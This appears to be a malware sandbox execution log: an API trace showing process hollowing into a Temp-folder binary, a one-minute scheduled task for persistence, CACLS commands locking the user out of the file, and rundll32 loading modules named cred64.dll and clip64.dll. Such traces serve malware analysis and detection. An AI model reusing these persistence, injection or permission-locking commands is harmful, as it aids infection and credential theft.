process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x00000210
suspend_count: 1
process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x000002a8
suspend_count: 1
process_identifier: 2336
1 0 0

CreateProcessInternalW

 thread_identifier: 2436
thread_handle: 0x000002d0
process_identifier: 2432
current_directory:
filepath:
track: 1
command_line: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
filepath_r:
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000002d4
1 1 0

NtGetContextThread

 thread_handle: 0x000002d0
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2432
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002d4
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÁB…o,A…o,A…o,AÞ/@ˆo,AÞ)@"o,AÞ(@“o,AP(@—o,AP/@‘o,AP)@Ëo,AÞ-@Šo,A…o-A.o,A%@„o,AÓA„o,A.@„o,ARich…o,APEL— /eà z^P‘@@`€ ÀàÐh/ gp´hh@Œ.text?yz `.rdatanÿ~@@.data˜+~@À.rsrcàÀš@@.reloch/Ð0œ@B
base_address: 0x00400000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00439000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00449000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer: €0€ H`À}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x0044c000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0044d000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4297040
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000002d0
process_identifier: 2432
1 0 0

NtResumeThread

 thread_handle: 0x000002d0
suspend_count: 1
process_identifier: 2432
1 0 0

NtResumeThread

 thread_handle: 0x0000023c
suspend_count: 1
process_identifier: 2432
1 0 0

CreateProcessInternalW

 thread_identifier: 2528
thread_handle: 0x00000248
process_identifier: 2524
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000024c
1 1 0

CreateProcessInternalW

 thread_identifier: 2580
thread_handle: 0x000001f8
process_identifier: 2576
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000026c
1 1 0

CreateProcessInternalW

 thread_identifier: 2256
thread_handle: 0x000003d0
process_identifier: 2372
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\rundll32.exe
track: 1
command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\465dbc52837d81\cred64.dll, Main
filepath_r: C:\Windows\System32\rundll32.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003e4
1 1 0

CreateProcessInternalW

 thread_identifier: 2488
thread_handle: 0x000003d8
process_identifier: 2464
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\rundll32.exe
track: 1
command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\465dbc52837d81\clip64.dll, Main
filepath_r: C:\Windows\System32\rundll32.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000003e8
1 1 0

CreateProcessInternalW

 thread_identifier: 2668
thread_handle: 0x0000008c
process_identifier: 2664
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y"
filepath_r: C:\Windows\system32\cmd.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000094
1 1 0

CreateProcessInternalW

 thread_identifier: 2712
thread_handle: 0x00000088
process_identifier: 2708
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\cacls.exe
track: 1
command_line: CACLS "Utsysc.exe" /P "test22:N"
filepath_r: C:\Windows\system32\cacls.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000008c
1 1 0

CreateProcessInternalW

 thread_identifier: 2792
thread_handle: 0x0000008c
process_identifier: 2788
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\cacls.exe
track: 1
command_line: CACLS "Utsysc.exe" /P "test22:R" /E
filepath_r: C:\Windows\system32\cacls.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000094
1 1 0

CreateProcessInternalW

 thread_identifier: 2840
thread_handle: 0x0000008c
process_identifier: 2836
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y"
filepath_r: C:\Windows\system32\cmd.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000090
1 1 0

CreateProcessInternalW

 thread_identifier: 2876
thread_handle: 0x00000094
process_identifier: 2872
current_directory: C:\Users\test22\AppData\Local\Temp\ea7c8244c8
filepath: C:\Windows\System32\cacls.exe
track: 1
command_line: CACLS "..\ea7c8244c8" /P "test22:N"
filepath_r: C:\Windows\system32\cacls.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000008c
1 1 0